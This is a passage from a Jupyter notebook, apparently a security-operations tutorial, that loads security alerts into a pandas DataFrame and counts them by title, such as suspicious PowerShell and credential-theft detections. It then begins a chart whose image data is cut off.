that an ...   \\n\",\n       \"2  Built-in Microsoft command-line utility Regsvr...   \\n\",\n       \"3  A known credential theft tool execution comman...   \\n\",\n       \"4  A known credential theft tool execution comman...   \\n\",\n       \"\\n\",\n       \"                               id severity  \\n\",\n       \"0   636790897750057660_-313754981   Medium  \\n\",\n       \"1    636790897754744964_776991504   Medium  \\n\",\n       \"2  636790897753203381_-1982849782   Medium  \\n\",\n       \"3    636790897754843255_543815125   Medium  \\n\",\n       \"4   636790897753338947_2058521704   Medium  \"\n      ]\n     },\n     \"execution_count\": 44,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# Let's select just the columns we want to view. This uses the Pandas syntax for selecting columns\\n\",\n    \"\\n\",\n    \"df[['alertCreationTime','category','description','id','severity']].head(5)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 45,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>Alert Count</th>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>title</th>\\n\",\n       \"      <th></th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>Suspicious Powershell commandline</th>\\n\",\n       \"      <td>13</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>Suspicious behavior by a system utility was observed</th>\\n\",\n       \"      <td>5</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>Malicious credential theft tool execution detected</th>\\n\",\n       \"      <td>2</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>A suspicious user account was created</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>Microsoft command-line utility Regsvr32.exe launched suspicious commands.</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>Possible Antimalware Scan Interface (AMSI) tampering</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>Suspicious netsh trace</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>Suspicious service registration</th>\\n\",\n       \"      <td>1</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"                                                    Alert Count\\n\",\n       \"title                                                          \\n\",\n       \"Suspicious Powershell commandline                            13\\n\",\n       \"Suspicious behavior by a system utility was obs...            5\\n\",\n       \"Malicious credential theft tool execution detected            2\\n\",\n       \"A suspicious user account was created                         1\\n\",\n       \"Microsoft command-line utility Regsvr32.exe lau...            1\\n\",\n       \"Possible Antimalware Scan Interface (AMSI) tamp...            1\\n\",\n       \"Suspicious netsh trace                                        1\\n\",\n       \"Suspicious service registration                               1\"\n      ]\n     },\n     \"execution_count\": 45,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# let's group them by title and count their frequency\\n\",\n    \"df['title'] = df['title'].apply(lambda t: 'Windows Defender AV detection' if t.startswith('Windows Defender AV detected ') else t)\\n\",\n    \"df1 = df[['id','title']].groupby('title').count().rename(index=str, columns={\\\"id\\\":\\\"Alert Count\\\"})\\n\",\n    \"df1 = df1.sort_values(['Alert Count'], ascending=False)\\n\",\n    \"df1\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 46,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"image/png\": \"iVBORw0KGgoAAAANSUhEUgAAA0YAAAElCAYAAADA2/LFAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\\nAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMS4xLCBo\\ndHRwOi8vbWF0cGxvdGxpYi5vcmcvAOZPmwAAIABJREFUeJzs3Xd8lfXd//HX52QDIaywkYNsQUBB\\nFATBUfUWq9U6Wm3VumrvtrZ3a389t21t2vuujW211tZV6672duJKnShDpgrIUkQg7D0CIWSdfH9/\\nXFf0ELJzkivj/Xw88uDKNd/XCYTzOd9xmXMOERERERGRtiwUdAAREREREZGgqTASEREREZE2T4WR\\niIiIiIi0eSqMRERERESkzVNhJCIiIiIibZ4KIxERERERafNUGImIiIiISJunwkhERERERNo8FUYi\\nIiIiItLmqTASEREREZE2T4WRiIiIiIi0eSqMRERERESkzVNhJCIiIiIibZ4KIxERERERafNUGImI\\niIiISJunwkhERERERNo8FUYiIiIiItLmqTASEREREZE2T4WRiIiIiIi0eSqMRERERESkzVNhJCIi\\nIiIibZ4KI2nRzOwXZrbSzJaZ2VIzOznO5/+3mXWqZvtNZnZVPK9Z4fy5ZrbczD42s7fMrGdjXasW\\nWa4xs7/V8ZiZZjbOX841s26Nk67pmVnYzFb4y1PN7DV/+QIziwSbTkREROoqMegAIvVlZhOA84ET\\nnXNF/pvu5Hhewzl3Xg3bH4jn9apwunNut5ndDtwK3NyYFzOzROdcaWNeozVzzr0CvBJ0DhEREakb\\ntRhJS9YL2O2cKwJwzu12zm2FI1snzGycmc30l6f4LUtLzWyJmaX7n/bPNrPpZrbKzB4ws1Al57nK\\nb5n62Mye9Ndlmdkt/vIYM1vg7zPdzDr762NbTbqZWa6/PMLMFvlZlpnZ4BrudzYwyD/2m35L0goz\\nu8Nfd5mZ3eUv/8jM1vnLA83sfX95rJnNMrOPzOxNM+sVk/F2M5sF/MjMLvXP/bGZzY7J0NvM3jCz\\nNWb2h/KVZna2mc03s8Vm9pyZdajtD9HMzvWP+9jMZvjrupjZS/7rssDMRsW83o/7rWe5Znaxmf3B\\nfy3eMLOkmJ/b7X6mD83sRP9+15rZTf4+Hcxshn/t5WZ2ob8+bGafmNlD5rVGvmVmaTGv38dmNh/4\\nfhX380XLmpk9Zmb3mNk8M1tnZpfE7PczM/vAv8ff1Pb1EhERkcahwkhasreAfmb2mZndZ2ZTanHM\\nLcD3nXNjgMnAYX/9eOCnwPHAQODi2IPMbATwC+AM59xo4EeVnPsJ4OfOuVHAcuDXNWS5CfiLn2Uc\\nsLmG/c8HlptZb+AO4AxgDHCSmX0Nr3Ca7O87GdhjZn2AScAcv2j4K3CJc24s8Ajwu5jzd3LOTXHO\\n3QncBpzj3+sFMfuMAS7He50uN7N+fuH4S+As59yJwIfAT2q4FwDMLBN4CPi6f61L/U2/AZb4r+Wt\\neK9tuYHANOBC4J/Ae8654/F+ltNi9tvknJsAzAEeAy4BTgF+628vBC7yM58O3Glm5m8bDNzrnBsB\\n7Ae+7q9/FLjZP29t9cL7GZwPZPv3fbZ/jfF4r+lYMzutDucUERGROFNhJC2Wcy4fGAvcCOwCnjGz\\na2o4bC5wl5ndjFcIlHcZW+ScW+eciwL/wnsjG+sM4Hnn3G7/2ntjN5pZhn++Wf6qx4Ga3ujOB241\\ns58D/Z1zh6vY7z0zWwp0BH4PnATMdM7t8vM/BZzmnNsOdDCzdKAf8LSfYTJecTAUGAm87Z/vl0Df\\nmOs8E7M8F3jMzG4AEmLWz3DO5TnnCoFVQH+8YuM4YK5/3qv99bVxCjDbObcejnhdJwFP+uveBbr6\\nrzHA6865ErziMwF4w1+/HAjHnPuVmPULnXMHnXO7gELzxo0ZcLuZLQPeAfoAPfxj1jvnlvrLHwHh\\nSn7GT9byHl9yzpU551bFnP9s/2sJsBgYhlcoiYiISEA0xkhaNL+QmQnMNLPleG/KHwNK+bLwT43Z\\nP9vMcoDzgAVmdlb5poqnrvC9VbKutqrK8rSZLcRr5XjTzK73i4CKTi8vyABiWjUqMx/4DrAarxi6\\nFpiA1xp2DLCymtaOQzHZbjJvIotpwFIzG+NvKorZP4r3O8SAt51z36wmV1Wqel0ru8fy/cq7TpaZ\\nWYlzrnx9GUf+TiuKWR+bu3y/K4FMYKxzrsTv4pha4Vjw7jOtmqw1iT2Xxfz5e+fcg/U4n4iIiDQC\\ntRhJi2VmQyuMyxkDbPCXc/Fak+DLblCY2UDn3HLn3B14Xb6G+ZvGm9kA88YWXQ68X+FyM4DLzKyr\\nf54usRudc3nAPjMr78r2baC8ZSE2S+wYk2OBdc65e/BaN0bV8tYXAlPMG6+UAHwz5lqz8boLzsZr\\njTgdKPLzrQYyzZu0AjNL8rsIHsV/nRY6524DduO1QFVlAXCqmZWPf2pnZkNqeS/z/XsZ4B9b/rrO\\nxitcMLOpeGPJDtTynLWVAez0i6LTqaGVyzm3H8gzs/LWxCsbcO03gWvLx2KZWR8z696A84mIiEgD\\nqcVIWrIOwF/9blGlwOd43erAG6PysJndildIlPux/yY4itcV7HW8FpX5eOM/jsd7Uz499kLOuZVm\\n9jtglplF8YqOayrkuRp4wMzaAevwWm4A/gQ8a2bfBmJbhC4HvmVmJcB2vhz7Ui3n3DYz+2/gPbyW\\nh3875172N8/BK2JmO+eiZrYJ+NQ/rtgf/H+P3y0sEbgbWFnJZf7oF52GVxR+jFd4VpZnl9+F8V9m\\nluKv/iXwWS3uZZeZ3Qi86BelO4GvAFnAo343twK81zbengJeNbMPgaX4r1MNvgM8YmYFeMVNvTjn\\n3jKz4cB8vwEwH/gW3v2LiIhIAOzLXigibZPfInGLc+78oLOIiIiISDDUlU5ERERERNo8tRiJiIiI\\niEibpxYjERERERFp81QYiYiIiIhIm6fCSERERERE2jwVRiIiIiIi0ubpOUYiIs1AOJKTAHTGe/Bs\\nB6C9/9UBSAWK8Z7pVPHrsP/nodzsadGmTy4iItI6aFY6EZEmEI7kdAWO87+GA2EgE+jmf3Wi4a34\\nJcAhvAcGfw6sjflzLbA+N3taSQOvISIi0iqpMBIRiaNwJKcPXuFzXIU/M4PM5YsCmziyaFoOzMvN\\nnnYwyGAiIiJBU2EkIlJP4UhOCBgLfAU401/OCDRU/USBpcBs/2tObva0PcFGEhERaVoqjERE6iAc\\nyRkEnIVXDJ2ONy6otXHAKr4slGbnZk/bGmwkERGRxqXCSESkGuFITje81qDyVqFwoIGCsxZ4G3gO\\nmKWJHkREpLVRYSQiUkE4kpMOXAZcDUwCLNhEzc5OYDpekTRTRZKIiLQGKoxERIBwJMeAqcB3gIvx\\npsqWmu0E/g94PDd72uKgw4iIiNSXCiMRadPCkZwBeC1DV9N2u8nFywrgCeCfudnTtgUdRkREpC5U\\nGIlImxOO5LQHLgGuAaagrnLxFgVeBLLViiQiIi2FCiMRaTPCkZyewE+Am4D0gOO0Fe/gFUgzgg4i\\nIiJSHRVGItLq+d3l/h9eC1FqsGnarA+AO4DpudnTyoIOIyIiUpEKIxFptcKRnCHAr4BvAIkBxxHP\\nauCPwJO52dOKgw4jIiJSToWRiLQ64UhOGPg18G0gIdg0UoUtwN3AA7nZ0/KDDiMiIqLCSERajXAk\\npzfwS+A6IDngOFI7W4Gf5WZPezroICIi0rapMBKRFi8cyUnCG0P0CyAt4DhSP7OAH+RmT1sRdBAR\\nEWmbVBiJSIsWjuScCjwIjAg6izRYKfA34Ne52dMOBB1GRETaFhVGItIihSM5nYBs4Eb0HKLWZgde\\nC+CTudnT9J+UiIg0CRVGItLihCM5lwF/AXoGnUUa1Vzg+7nZ0z4OOoiIiLR+KoxEpMUIR3L6A/cB\\n5wWdRZpMFLgf+G/NXiciIo1JhZGINHvhSE4C8CPgt0D7gONIMFYDl6v1SEREGosKIxFp1sKRnH7A\\nc8DJQWeRwBUC/5WbPe2BoIOIiEjro8JIRJqtcCTnTOD/gG5BZ5Fm5VngBs1cJyIi8aTCSESanXAk\\nx4AI8D9AQsBxpHlaC3wjN3vah0EHERGR1iEUdAARkVjhSE4GMB24HRVFUrWBwNxwJOdHQQcREZHW\\nQS1GItJshCM5I4EXgcFBZ5EW5WXgO7nZ0/YFHURERFoutRiJSLMQjuRcASxERZHU3YXA0nAkZ3TQ\\nQUREpOVSi5GIBCocyUkC7gR+GHQWafEOAF/PzZ72TtBBRESk5VFhJCKBCUdy2uF1gzor6CzSapQA\\n1+VmT3sy6CAiItKyqCudiAQiHMnpCLyJiiKJryTgiXAk59agg4iISMuiFiMRaXLhSE5nvKLopKCz\\nSKv2V+BHudnT9B+diIjUSIWRiDSpcCSnO/A2MCroLNImPAZcn5s9LRp0EBERad5UGIlIkwlHcvoA\\n7wDDgs4ibcrzwBW52dNKgg4iIiLNlwojEWkS4UhOGJgBHBtwFGmbXsebse5w0EFERKR5UmEkIo0u\\nHMkZjFcU9Qs6i7RprwMX5GZPKw06iIiIND+alU5EGlU4kjMCmI2KIgnefwAPBh1CRESaJxVGItJo\\nwpGcY/AmWugZdBYR37XhSM5vgw4hIiLNj7rSiUijCEdyOgFzgeOCziJSie/mZk/7e9AhRESk+VBh\\nJCJxF47kJOM9p2hqwFFEqhIFLsrNnvZq0EFERKR5UGEkInEVjuQY8BTwzaCzNFeb77+WUHIahEJY\\nKIFeV9/NvvceoeDzRVhCIomdetLtvB8TSu1A4eZV7H3rPiwhiW4X/Iykzr0pK8xn18t30P2y32Jm\\nQd9OS1YAnJmbPW1B0EFERCR4KoxEJK7CkZzfALcFnaM523z/tfS6+s8ktMv4Yt3h9YtJ7T8aCyWw\\nb+ajAHSe+h12Tv8dnadcQ2neTg6v/4guZ1zP3nf/QbtBJ5N6zPFB3UJrshs4NTd72mdBBxERkWBp\\n8gURiZtwJOdS4FdB52iJ0gaciIUSAEjpPZTSg7sBsFAirrQYV1qEhRIp2beN6ME9KoripxvwRjiS\\n0yPoICIiEiwVRiISF+FIzhjgMUB9u2pixs5nb2PbYz/i4NI3jtqcv+xt0o4dB0DGKZey542/ceDD\\nl0k/8Xz2z36CTpO/1dSJW7sBwGv+2DgREWmjEoMOICItXziS0x14GWgXdJaWoOeVfyAxvSvRQ/vZ\\n8cwvSeral9R+IwHIm/cMhBJof9xUAJJ7HEuvq+4EoHDTChI6dAFg18t3YKEEOp9xHQntOwdyH63M\\nOCAb+EnQQUREJBhqMRKRBglHckLAs8AxQWdpKRLTuwKQ0L4T7YZMoGirN7wlf/kMCtYuottXbzlq\\nUgXnHHnzniHj1G+yf+7TdJp0Be1HnM6BjzSpWhz9OBzJOTfoECIiEgwVRiLSUD8DpgQdoqUoKy6k\\nrKjgi+XC9UtIzuzP4XUfcWDh83T/+m2EklKPOu7QihmkDRxHQmoHXEkRWAjMvGWJFwMe03gjEZG2\\nSbPSiUi9hSM5xwMfAhqbUUsl+7ez68X/9b4pK6P9cVPImHg5Wx68ARctIZSWDngTMHQ95wfebiWF\\n7Hz+N/S47H+whEQKN61g71v3YwmJdLvg/5HUpU9Qt9NavQGcl5s9Tf9Bioi0ISqMRKRe/IHqi4DR\\nQWcRaQQ/yc2e9uegQ4iISNNRVzoRqa9fo6JIWq9sf6ZFERFpI9RiJCJ1Fo7knAK8DyQEnUWkEX0K\\njM3NnlYQdBAREWl8ajESkToJR3LaAU+gokhav2HAX4IOISIiTUOFkYjU1R3A4KBDiDSR68ORnAuC\\nDiEiIo1PXelEpNbCkZyzgLfwpjUWaSvWA8Nzs6dpbnQRkVZMLUYiUivhSE468AgqiqTtGQD8JOgQ\\nIiLSuFQYiUht/RzoF3QIkYDcGo7k9Ao6hIiINB4VRiJSo3AkpzfwX0HnEAlQB+D2oEOIiEjjUWEk\\nIrWRBbQLOoRIwK4OR3LGBR1CREQahwojEalWOJIzHLg26BwizYABdwcdQkREGocKIxGpSTZ6ZpFI\\nuVPDkZxvBh1CRETiT9N1i0iVwpGcScCcoHOINDObgGG52dMKgg4iIiLxoxYjEanOH4IOINIM9QN+\\nFnQIERGJL7UYiUilwpGci4EXgs4h0kwVAMfkZk/bE3QQERGJD7UYichRwpGcROD3QecQacbaAT8M\\nOoSIiMSPCiMRqczVwJCgQ4g0cz8IR3I0jb2ISCuhwkhEKvOjoAOItABdgeuDDiEiIvGhMUYicoRw\\nJGcyMDvoHCItxAZgUG72tNKgg4iISMOoxUhEKvrPoAOItCD9gUuDDiEiIg2nwkhEvhCO5PQAvh50\\nDpEWRpMwiIi0AiqMRCTWDUBS0CFEWpgJ4UjOiUGHEBGRhlFhJCIAhCM5CcB3g84h0kKp1UhEpIVT\\nYSQi5S4A+gYdQqSF+kY4ktMt6BAiIlJ/KoxEpNz3gw4g0oKl4j3/S0REWigVRiJCOJIzFDgj6Bwi\\nLdwlQQcQEZH6U2EkIgDfAyzoECIt3MnhSE6foEOIiEj9qDASaePCkRwDLgs6h0grYMDFQYcQEZH6\\nUWEkIqcAvYIOIdJK6DlgIiItlAojEdEn3CLxMzkcyekedAgREak7FUYiclHQAURakRD6NyUi0iKp\\nMBJpw8KRnOOBgUHnEGll1J1ORKQFUmEk0rZ9NegAIq3Q6eFITpegQ4iISN2oMBJp284NOoBIK5QI\\nXBB0CBERqRsVRiJtVDiS0xGYEHQOkVZK3elERFoYFUYicWJmp9ZmXTNyJt4n2yISf1PDkRz9Hysi\\n0oLol7ZI/Py1luuai3OCDiDSinUARgQdQkREak+fFos0kJlNACYCmWb2k5hNHYGEYFLVyplBBxBp\\n5cYDy4MOISIitaMWI5GGS8b7dDgRSI/5OgBcEmCuKoUjORlomm6RxnZy0AFERKT21GIk0kDOuVnA\\nLDN7zDm3Ieg8tTQasKBDiLRy44MOICIitacWI5H4STGzv5vZW2b2bvlX0KGqMCboACJtwMhwJKdd\\n0CFERKR21GIkEj/PAQ8A/wCiAWepiQojkcaXAIwF5gQdREREaqbCSCR+Sp1z9wcdopZUGIk0jfGo\\nMBIRaRHUlU4kfl41s/80s15m1qX8K+hQFYUjOUnAcUHnEGkjNM5IRKSFUIuRSPxc7f/5s5h1Djg2\\ngCzVGQ6kBB1CpI3QzHQiIi2EWoxE4sQ5N6CSr+ZWFIG60Yk0pf7hSE73oEOIiEjN1GIkEidmdlVl\\n651zTzR1lhqoMBJpWgOBnUGHEBGR6qkwEomfk2KWU4EzgcVAcyuMRgcdQKSN6RN0ABERqZkKI5E4\\ncc79MPZ7M8sAngwoTnU08YJI01JhJCLSAmiMkUjjKQAGBx0iVjiSY0Bm0DlE2hgVRiIiLYBajETi\\nxMxexZuFDrwHOw4Hng0uUaW64GUTkaajwkhEpAVQYSQSP3+KWS4FNjjnNgcVpgrdgg4g0gapMBIR\\naQHUlU4kTpxzs4BPgXSgM1AcbKJKqRudSNNTYSQi0gKoMBKJEzO7DFgEXApcBiw0s0uCTXUUFUYi\\nTU+FkYhIC6DCSCR+fgGc5Jy72jl3FTAe+FXAmSpSYSTS9NLCkZzOQYcQEZHqqTASiZ+Qcy72IY57\\naH7/xjTGSCQYajUSEWnmNPmCSPy8YWZvAv/yv78ceD3APJVRi5FIMPoAK4IOISIiVVNhJBInzrmf\\nmdnFwCTAgL8756YHHKsiFUYiwegQdAAREameCiORBjKzQUAP59xc59yLwIv++tPMbKBzbm2wCY+g\\nrnQiwUgKOoCIiFSvuY1/EGmJ7gYOVrK+wN/WnHQKOoBIG6UPIkVEmjkVRiINF3bOLau40jn3IRBu\\n+jjVigYdQKSNUouRiEgzp8JIpOFSq9mW1mQpaqc5PnRWpC1Qi5GISDOnX9QiDfeBmd3gnHsodqWZ\\nXQd8FFCmqhQFHUBqpxMH9w20rTuGhjbtH24bi/LLCg5uO/y14oL2ZWmHQ/nt8Sb4kBbikEsuDDqD\\niIhUT4WRSMP9GJhuZlfyZSE0DkgGLgosVeXUYtRMdGP/rkGhLbuG2qa84bapeGBoi/W13WmdOdgp\\nhZKeZnQGvngo6J87d5pzzLwhe7t1zEwc0vnE9C1JecVrE3YU7bIDvaKUDcJUKDVnmRz6Z9AZRESk\\neiqMRBrIObcDmGhmpwMj/dU5zrl3A4xVFRVGTcK5XuzdMSi0Zfcw23RgWGhjybG21XrbnvadyO+c\\nTGlPMzKpw/Tpi9JSOC36bsdtpbd2WLvhH8nHdRp76LxOkwaGLNTnMMV7cxN2rlGh1KxpfJ+ISDOn\\nwkgkTpxz7wHvBZ2jBiqM4iBEWbSP7d4+2DbvGWabDg4NbSw91raFetneDh051CWJaE8zegI943XN\\ndUlJ3fJOdqm3Pfdk8YdjfpC5Ku/R4k/3L+p2QtczZg1MP+H44dG+Jw+P9gVAhVKzpMJIRKSZU2Ek\\n0raoMKqFREpL+tmu7UNs855htjF/aGhTdIBtT+hhe9PTOdw10St8+gB9miJPCZQUmB1b0N1SUgvW\\nr8ncu3rZrq43TCg+8PiSj/a8PWXZ3lkHxmdOm9mn3eCTzKx9GsldWkuhVFZWxkMPPUR6ejpXXHEF\\nL774Ijt27GDIkCGceeaZAMyaNYsePXowbNiwgNNWKz/oACIiUj0VRiJtiwojIJmSorBt3zbYtuwZ\\nHtpQMMQ2R8O2Pbm77e/QgcOZCZT1MKMf0C/orACrUpLXYzYE4IMhtnXiykcmzJ78p83JHa8dX3zw\\nX3NKotsnz905fWpqQoedp3b/2kddU3pPNLMvfr+35EJp4cKFdOvWjaKiInbs2AHA9773PR599FEK\\nCwspKSlh69atTJkyJeCkNdofdAAREameCiORODGzO5xzP69pXcDaRGGURlHBANu2bYht3jc8tPHw\\nYNsc7W87UjJtf3p7CruHcJlmhGl+z5mq1Ny0tJ3AEIDpE0LHTFpVmjJq+QMFS0f9gJSOV0wuzn95\\nVlnJ2imF0fzuM7b9s3t6UtcNk3pcvCU9sfMEMzuq4KmkUNqz3iuUinc3o0LpwIEDrFmzhsmTJzN/\\n/nxCoRAlJSU454hGo4RCId577z2mTp0adNTa2Bd0ABERqZ4KI5H4+QpQsQj6j0rWBalVFEYdKDgw\\n0LbtGBLatG+4bSwcbFvcMbYjpasd6NiOoh4hc12BgUHnjJcFaSll5cubutuAokTWdNn36fGd9q+Z\\ntb/zkCnJHS6cUlLw7qxo0dLTADtYsqf/65sf6t8tpc8nE7tfVJCW2H5sdedPI7nrcdG+XY9rZoXS\\nG2+8wVlnnUVxsffXNjMzk4yMDB588EFGjRrF3r17AejVq1dTR6sPtRiJiDRzKoxEGsjMvgf8JzDQ\\nzJbFbEoH5gaTqkoFQQeojYrP8BlkW+gX2pXWhYMZqRT1DBkZQMegczaVNcnJXWK//2CIbZm0yg0e\\nvfz+cbMn/WmTCyX0S2p3xhQLpc8tPTxnPJAEsLtoy/BXNv2Nvu2GLB6fOS01KZR8XG2u1xwKpc8+\\n+4z27dvTu3dvcnNzv1h/7rnnfrH8r3/9i/PPP5/Zs2ezY8cOjj32WMaOrbYGDJJajEREmjkVRiIN\\n9zTwOvB7IBKz/qBzbm8wkaq0NegAUPdn+LRlUYjmmx0bu276hFD/SauiJJQVtx+x6pHVK0be0A8g\\nMfWkU806fFhS8PpxQLvy/TcXfHbi5g2fucEdT5w/ussZvRIsIVyXDEEUShs3bmT16tWsWbOG0tJS\\nioqKePHFF7n44osB+PTTT+nVqxfFxcXs2rWLSy+9lEcffZRRo0aRlJQUzyjx4IC8oEOIiEj1VBiJ\\nNJBzLs/MDgLHO+c2BJ2nBpsa/xLO9WLvzoGhrTuH2caDw0Kbigfa1oTetrtdfZ/h05atTk7KxeyI\\nboHl3elSShncfffSE9MPbphzML3/ZICElOHjCLVbUZL/Qh+OLC5tzYHFEz4/sKT0+M6nzR6WMX6o\\nWahHfTI1RaF01llncdZZZwGQm5vLvHnzviiKotEoCxcu5IorrmDPnj1fHFM+9qgZFkYHsrKyNF23\\niEgzp8JIJA6cc2Vm9rGZHeOc2xh0nmpsbugJ/Gf47BhkW3YNs435w0KbSo61bYm9bE+7jhzq6j/D\\npwdQrzfdcqR5aWnbqWS8VHl3OoAxS/86as6kP2zHQj0BEpL6j7T0b60tPvhUIbgjBuA4XOKyfbNO\\nW7l/bsG4bufM7N9+xAlmltGQjE3dovTBBx8wevRokpKS6NHD+2t2//33M2jQIFJTU+N1mXjaUtcD\\nzOwXwBV4zz8qA77rnFsYr0Bm9m/gCudcpWOfzOwmoMA590S8rtnYmktmMxsHXOWcu7mK7WFgonPu\\n6TqetxPez+w+//vewD3OuUsallhEyplzLugMIq2Cmb0LnAQsAg6Vr3fOXRBYqArCkZxuwK7q9il/\\nhs9g27x7mG08NDS0uXSAbUvqafvap1PQzX+Gjz5UaSLX9ew+a1Fa6lFzUffb6dbf+XB0QPn3W3tO\\nWPTpsG+Nj92nLJq3tfjAY4UQPbbi8eWSQ6n7JnS/YFmP1PApZpYS3/Se5jKZQ4Bez8rKOq+2O5vZ\\nBOAuYKpzrsjMugHJzrlm0RU2SGaW6JwrbcLrJTjn4traZ2ZTgVucc+dXsq3K+/MLqteccyPjmUdE\\nvqTCSCROzKzSB6k452Y1dZbqDIm8tC9s2/fX8AyfUNA5xTPpmD4f5yUkjK5s25N/LF2TUsrg8u8X\\njP/VvIJ2PSfG7uPKCvYW5T2yDYpHVHeddokZWyd1v2hdp+TuE8wsIT7pK3eY4t3rEnZ8vi5hR/Fu\\nO9g7StnAVl4oPZCVlfW92u5sZhcD33HOfbWSbbnAOOfcbr9l4k/Ouan+75+/+Ls54DRgLPBbYA8w\\nFJgN/Kffwh17nquAW/zjljnnvm1mWUC+c+5PZjYGeABv3Npa4Frn3D4zm4n3Bv9Dv3j70DkXNrMR\\nwKNAMhACvu6cWxNzDwnAw8A4/5qPOOf+bF6X0XvxutkWADc45z41s8eAvcAJwFLgImBMeWuXmX0O\\nnAp8LybzID9zJl6r26XOubW3uWscAAAgAElEQVRm9jPgMiAFmO6c+3Ulr3E+XmF6DvBT4LD/fQdg\\nN3CNc26bmZ3k38ch4H3gP5xzI2MLnyp+Lm8Dw4H1wON4E3NMA1KB9sAFwMt4XWGTgF865142s/8D\\nLgRW++e4F79QMrNU4H7/NS0FfuKce8/MrvHP1w6v5Xm6c+7/VbxnEfHoU1+ROHHOzTKz/sBg59w7\\nZtYOaNQ3mPXxWerV2/D+Uw4HHEVq4MDlhUIDqtoe250O4MQldw99f+Lte7BQ1/J1FmrXJaXTjSlF\\neY98hCuocsq2gtK83m9tfax3p+Tuayd1v3h3+6SMk+N3J0dKI7nbiGi/biOi3vNz20ChtL6O+78F\\n3GZmnwHvAM/U4gOWW4DvO+fmmlkHoNBfPx44DtgAvAFcDDxffpBfxPwCONUvkrpwtCeAH/q/434L\\n/Br4cTVZbgL+4px7ysySOfr34BigT3nLh99FDODvwE3OuTVmdjJwH3CGv20IcJZzLmpmIbzi6FF/\\nv1zn3I4Kj+x6Csh2zk33i4aQmZ0NDPZfEwNeMbPTnHOzK+RrD6xwzt1mZknALOBC59wuM7sc+B1w\\nLV7xd6Nzbp6ZZVfxWlT2c4kQ02LkFy8TgFHOub3+w5kvcs4d8AvOBWb2in/cSOfcGP+4cMx1vg/g\\nnDvezIYBb5n/UGj/9T4BKAJWm9lfnXNNMN5UpOXRp8IicWJmN+C94XjQX9UHeCm4RFX6POgAUjvr\\nkhI3YFbltOTTJ4T6x36fXHKw68B1L62uuJ9ZcvuUjBuOt1DneTVdc3/xzoGvbX7g5Jnbn1leFD38\\ncf2S141fKJ3y1eJxp32n6PRBVxZN3jOhZMiCHmUZsxNc6HMcLb1rw9q67Oycy8dr7bkRr+vrM/6b\\n5+rMBe4ys5uBTjHdsRY559b53cH+BUyqcNwZwPPOud3+tY+YSdMff9YppjB7HK/VozrzgVvN7OdA\\nf+fc4Qrb1wHHmtlfzexc4IBfNEwEnjOzpXi/R2PHxz0X06XtGeByf/kb/vexmdPxCq/p/j0VOucK\\ngLP9ryXAYmAYfNniGiMKvOAvDwVGAm/7uX4J9PWLuXTnXPm/qarGC1X1c6no7ZjX3oDb/cc/vIP3\\nf0lNYzYnAU/69/spXiFcXhjNcM7lOecKgVVA/8pPISJqMRKJn+/jfRK5EMD/1LN7sJEqpcKohZib\\nlraNalr2/NnpPksp/eINEP03zZi4uc/pi4pSOx8x3sgsITm54zWnFB98ZraLbq3pjS07Duce/9LG\\newh3GLlobNezOyeGkip7A9koWmGLUp3/zflFwExgppktB64GHsPrJlX+oWZqzP7ZZpYDnIfXwnBW\\n+aaKp67wvVWyrraqyvK0mS3E6x72ppld75x7N2b7PjMbjddV7ft4Xdt+DOwvbw2pxKGY5fnAIDPL\\nBL4G/G8l91QZA37vnHuwiu3lCmOKMANWOucmHHEis1o9TqCan0tFsfd3JV4XwLHOuRK/22NNs4pU\\n9++hKGY5it77iVRJLUYi8VPknCsu/8bvDtEcP+leU/Mu0hzMS0strmmfD4bYUQPyxy65sx/OHfXc\\nHDMLpXT8xmmhpCG1HveWm79i/Asb7hq4bO/s98tctMGzGtZHC29RKqOOhZGZDTWz2EJ0DF4LAEAu\\nXmsSwNdjjhnonFvunLsD+BCvNQRgvJkN8LufXY43FibWDOAyM+vqn+eIrnTO+3u0z8wm+6u+jde1\\nrGKWL2ZGM++5W+ucc/cArwCjKtxfNyDknHsB+BVwonPuALDezC719zG/eDqK8wZHT8cb9/OJc25P\\nhe0HgM1m9jX/XCl+1+Y3gWv91inMrE8tPrxaDWT6E2JgZklmNsI5tw84aGan+Pt9o7KDq/i5HMR7\\nAHhVMoCdflF0Ol+28F